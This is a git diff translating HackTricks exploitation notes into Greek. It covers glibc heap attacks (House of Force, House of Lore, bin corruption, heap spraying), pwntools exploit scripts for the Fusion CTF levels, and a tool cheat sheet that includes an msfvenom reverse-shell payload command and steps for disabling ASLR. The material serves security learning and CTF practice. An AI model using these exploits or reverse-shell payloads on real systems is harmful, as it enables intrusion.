embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +Έτσι, θα μπορούσαμε να κάνουμε αυτόν τον δείκτη να δείχνει όπου θέλουμε. Ωστόσο, δεν είναι οποιαδήποτε θέση έγκυρη, το μέγεθος του ψεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητήθηκε σε μια μελλοντική κλήση στο malloc()+8. Για αυτό, αν ξέρουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται malloc(40), το μέγεθος του ψεύτικου κομματιού πρέπει να είναι ίσο με 48. -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. +Εάν για παράδειγμα το πρόγραμμα ρωτούσε τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να δείξουμε τον τροποποιήσιμο δείκτη malloc στους επόμενους 4 bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλίδα size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί πολλές προϋποθέσεις (στην περίπτωση αυτή ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system_mem. -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +Εάν αυτό πληρούται, όταν κληθεί το επόμενο malloc που είπαμε ότι ήταν malloc(40) θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Εάν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc μπορεί να υπεργράψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει. -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +Αυτό πιστεύω ότι συμβαίνει γιατί έτσι όταν το απελευθερώσει το free() θα κρατήσει ότι στη διεύθυνση που δείχνει το EBP της στοίβας υπάρχει ένα κομμάτι μεγέθους τέλειου για το νέο malloc() που θέλει να κρατήσει, έτσι του αναθέτει αυτή τη διεύθυνση. **The House of Force** -Es necesario: +Απαιτείται: -- Un overflow a un trozo que permita sobreescribir el wilderness -- Una llamada a malloc() con el tamaño definido por el usuario -- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- Μια υπερχείλιση σε ένα κομμάτι που επιτρέπει την υπεργραφή της wilderness +- Μια κλήση στο malloc() με το μέγεθος που καθορίζεται από τον χρήστη +- Μια κλήση στο malloc() των δεδομένων που μπορούν να καθοριστούν από τον χρήστη -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap +Το πρώτο που γίνεται είναι να υπεργραφεί το μέγεθος του κομματιού wilderness με μια πολύ μεγάλη τιμή (0xffffffff), έτσι οποιαδήποτε αίτηση μνήμης αρκετά μεγάλη θα αντιμετωπιστεί στο \_int_malloc() χωρίς να χρειάζεται να επεκταθεί το heap -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +Το δεύτερο είναι να τροποποιηθεί το av->top ώστε να δείχνει σε μια περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου, όπως η στοίβα. Στο av->top θα τοποθετηθεί \&EIP - 8. -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +Πρέπει να υπεργράψουμε το av->top ώστε να δείχνει στην περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου: victim = av->top; @@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Η Victim συλλέγει την τιμή της διεύθυνσης του τρέχοντος κομματιού wilderness (το τρέχον av->top) και η remainder είναι ακριβώς το άθροισμα αυτής της διεύθυνσης με την ποσότητα των bytes που ζητήθηκαν από το malloc(). Έτσι, αν \&EIP-8 είναι στο 0xbffff224 και το av->top περιέχει 0x080c2788, τότε η ποσότητα που πρέπει να κρατήσουμε στο malloc που ελέγχεται ώστε το av->top να δείχνει στο $EIP-8 για την επόμενη κλήση malloc() θα είναι: 0xbffff224 - 0x080c2788 = 3086207644. -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +Έτσι θα αποθηκευτεί στο av->top η τροποποιημένη τιμή και η επόμενη malloc θα δείχνει στο EIP και θα μπορεί να το υπεργράψει. -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +Είναι σημαντικό να γνωρίζουμε ότι το μέγεθος του νέου κομματιού wilderness είναι μεγαλύτερο από την αίτηση που έγινε από την τελευταία malloc(). Δηλαδή, εάν η wilderness δείχνει στο \&EIP-8, το μέγεθος θα είναι ακριβώς στο πεδίο EBP της στοίβας. **The House of Lore** -**Corrupción SmallBin** +**Διαφθορά SmallBin** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +Τα κομμάτια που απελευθερώνονται εισάγονται στο bin ανάλογα με το μέγεθός τους. Αλλά πριν εισαχθούν αποθηκεύονται σε unsorted bins. Ένα κομμάτι απελευθερωμένο δεν εισάγεται αμέσως στο bin του αλλά παραμένει σε unsorted bins. Στη συνέχεια, εάν ζητηθεί ένα νέο κομμάτι και το προηγούμενο απελευθερωμένο μπορεί να χρησιμοποιηθεί, επιστρέφεται, αλλά αν ζητηθεί μεγαλύτερο, το απελευθερωμένο κομμάτι σε unsorted bins εισάγεται στο κατάλληλο bin του. -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). +Για να φτάσουμε στον ευάλωτο κώδικα, η αίτηση μνήμης πρέπει να είναι μεγαλύτερη από το av->max_fast (72 συνήθως) και μικρότερη από το MIN_LARGE_SIZE (512). -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +Εάν στο bin υπάρχει ένα κομμάτι του κατάλληλου μεγέθους για αυτό που ζητείται, επιστρέφεται αυτό μετά την αποσύνδεσή του: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μόνη πληροφορία που μπορούμε να τροποποιήσουμε. -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στη στοίβα, στο επόμενο κομμάτι που θα κρατηθεί θα δοθεί αυτή η διεύθυνση -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; Κλείνει τη λίστα κάνοντάς το να δείχνει στο bin -Se necesita: +Απαιτείται: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +Να κρατηθούν δύο malloc, έτσι ώστε στο πρώτο να μπορεί να γίνει υπερχείλιση αφού το δεύτερο έχει απελευθερωθεί και εισαχθεί στο bin του (δηλαδή, να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν γίνει η υπερχείλιση) -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +Να ελέγχεται το malloc που κρατείται στο οποίο θα δοθεί η διεύθυνση που επιλέγει ο επιτιθέμενος. -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +Ο στόχος είναι ο εξής, εάν μπορούμε να κάνουμε υπερχείλιση σε ένα heap που έχει από κάτω ένα κομμάτι που έχει ήδη απελευθερωθεί και είναι στο bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Εάν τροποποιήσουμε τον δείκτη bk του και αυτό το κομμάτι γίνει το πρώτο της λίστας του bin και κρατηθεί, το bin θα παραπλανηθεί και θα του πει ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) είναι στη διεύθυνση ψεύτικη που έχουμε βάλει (στη στοίβα ή GOT για παράδειγμα). Έτσι, εάν κρατηθεί ένα άλλο κομμάτι και ο επιτιθέμενος έχει δικαιώματα σε αυτό, θα του δοθεί ένα κομμάτι στη θέση που επιθυμεί και θα μπορεί να γράψει σε αυτήν. -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στο bin του. -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +Μόλις είναι στο bin του, είναι η στιγμή να τροποποιηθεί ο δείκτης bk μέσω της υπερχείλισης ώστε να δείχνει στη διεύθυνση που θέλουμε να υπεργράψουμε. -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +Έτσι, το bin θα περιμένει τη σειρά του ώστε να κληθούν αρκετές φορές malloc() ώστε να ξαναχρησιμοποιηθεί το τροποποιημένο bin και να παραπλανήσει το bin κάνοντάς του να πιστέψει ότι το επόμενο κομμάτι είναι στη ψεύτικη διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει. -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +Για να εκτελεστεί η ευαλωτότητα το συντομότερο δυνατό, το ιδανικό θα ήταν: Κράτηση του ευάλωτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός μεγαλύτερου κομματιού από το τροποποιημένο, τροποποίηση του κομματιού (ευαλωτότητα), κράτηση ενός κομματιού ίδιου μεγέθους με το τροποποιημένο και κράτηση ενός δεύτερου κομματιού ίδιου μεγέθους και αυτό θα είναι αυτό που θα δείχνει στη διεύθυνση που επιλέγεται. -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +Για να προστατευτεί αυτή η επίθεση χρησιμοποιήθηκε η τυπική επαλήθευση ότι το κομμάτι “δεν” είναι ψεύτικο: ελέγχεται αν το bck->fd δείχνει στο victim. Δηλαδή, στην περίπτωσή μας αν ο δείκτης fd\* του κομματιού ψεύτικου που δείχνει στη στοίβα δείχνει στο victim. Για να παρακαμφθεί αυτή η προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει με κάποιο τρόπο (πιθανώς μέσω της στοίβας) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι ώστε να φαίνεται σαν ένα πραγματικό κομμάτι. -**Corrupción LargeBin** +**Διαφθορά LargeBin** -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. +Απαιτούνται οι ίδιες προϋποθέσεις όπως πριν και μερικές ακόμη, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512. -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +Η επίθεση είναι όπως η προηγούμενη, δηλαδή, πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις σε malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το μέγεθος - nb να είναι < MINSIZE. -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) +Για παράδειγμα, θα κάνει να βάλουμε στο μέγεθος 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική γιατί συγκρίνεται ένα unsigned) -Además se ha introducido un parche para hacerlo aún más complicado. +Επιπλέον, έχει εισαχθεί μια επιδιόρθωση για να γίνει ακόμη πιο περίπλοκο. **Heap Spraying** -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. +Βασικά συνίσταται στην κράτηση όλης της δυνατής μνήμης για heaps και γέμισμα αυτών με ένα στρώμα nops που καταλήγει σε μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Έτσι, θα προσπαθήσουμε να παραλείψουμε στη διεύθυνση 0x0c0c0c0c, και έτσι αν υπεργραφεί κάποια διεύθυνση στην οποία θα κληθεί με αυτό το στρώμα θα παραλειφθεί εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργραφεί κάποιος δείκτης και να παραλείψουμε στο 0x0c0c0c0c περιμένοντας ότι εκεί θα υπάρχουν nops. **Heap Feng Shui** -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. +Συνίσταται στη σπορά της μνήμης μέσω κρατήσεων και απελευθερώσεων έτσι ώστε να παραμένουν κομμάτια κρατημένα ανάμεσα σε ελεύθερα κομμάτια. Το buffer που θα υπερχειλίσει θα τοποθετηθεί σε ένα από τα αυγά. -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d εκτελέσιμο** —> Disas functions\ +**objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ** —> Λάβετε τη διεύθυνση της συνάρτησης\ +**objdump -d -Mintel ./shellcodeout** —> Για να δείτε ότι είναι πράγματι η shellcode μας και να εξάγετε τους OpCodes\ +**objdump -t ./exec | grep varBss** —> Πίνακας συμβόλων, για να εξάγετε τη διεύθυνση μεταβλητών και συναρτήσεων\ +**objdump -TR ./exec | grep exit(func lib)** —> Για να εξάγετε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> Εξάγει τη διεύθυνση του puts προς υπεργραφή στην GOT\ +**objdump -D ./exec** —> Disas ALL μέχρι τις εισόδους της plt\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** Πληροφορίες για τη συνάρτηση στο gdb -## Interesting courses +## Ενδιαφέροντα μαθήματα - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **References** +## **Αναφορές** - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..85256ac98 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. Πάρτε την απόσταση για να τροποποιήσετε το EIP +2. Βάλτε τη διεύθυνση του shellcode στο EIP ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - -# Level01 - +# Επίπεδο01 ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..296a3f90e 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Εργαλεία Εκμετάλλευσης {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Εγκατάσταση ``` apt-get install gdb ``` - -### Parameters - +### Παράμετροι ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Οδηγίες ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB ίδιες διευθύνσεις -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Κατά την αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό αρχείο κατά την εκτέλεση.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Βάλτε την απόλυτη διαδρομή στο δυαδικό αρχείο_ +- Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή +- `PWD` και `OLDPWD` πρέπει να είναι οι ίδιες κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού αρχείου -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων +Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη.**\ +Μπορείτε εύκολα να εντοπίσετε αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` - ### GDB server -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (στην IDA πρέπει να συμπληρώσετε τη απόλυτη διαδρομή του εκτελέσιμου στη Linux μηχανή και στη Windows μηχανή) ## Ghidra -### Find stack offset +### Βρείτε την απόσταση στο stack -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\ +Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\ +_Θυμηθείτε ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\ +**-o** --> Έξοδος\ +**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Για να συμπιέσετε ένα shellcode:**\ +**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\ +**ld assembly.o -o shellcodeout** --> Εκτελέσιμο ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\ +**-Mintel** --> **Σύνταξη Intel**\ +**-t** --> **Πίνακας συμβόλων**\ +**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\ +**-s -j .dtors** --> τμήμα dtors\ +**-s -j .got** --> τμήμα got\ +\-D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\ +**-TR** --> **Μετατοπίσεις**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή μια στατική μεταβλητή (αυτές αποθηκεύονται στην τμήμα DATA). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμα μου +2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## Περισσότερα -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd εκτελέσιμο | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Απόσταση του "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Απόσταση του "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace εκτελέσιμο** --> Λειτουργίες που καλούνται από το εκτελέσιμο\ +**rabin2 -i ejecutable -->** Διεύθυνση όλων των λειτουργιών ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: +### Αποσφαλμάτωση σε απομακρυσμένο linux +Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο _linux_server_ ή _linux_server64_ μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Debugger (linux remote) --> Επιλογές διαδικασίας...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..696d6e573 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +Λάβετε opcodes από γραμμή ή αρχείο. ``` pwn asm "jmp esp" pwn asm -i ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context 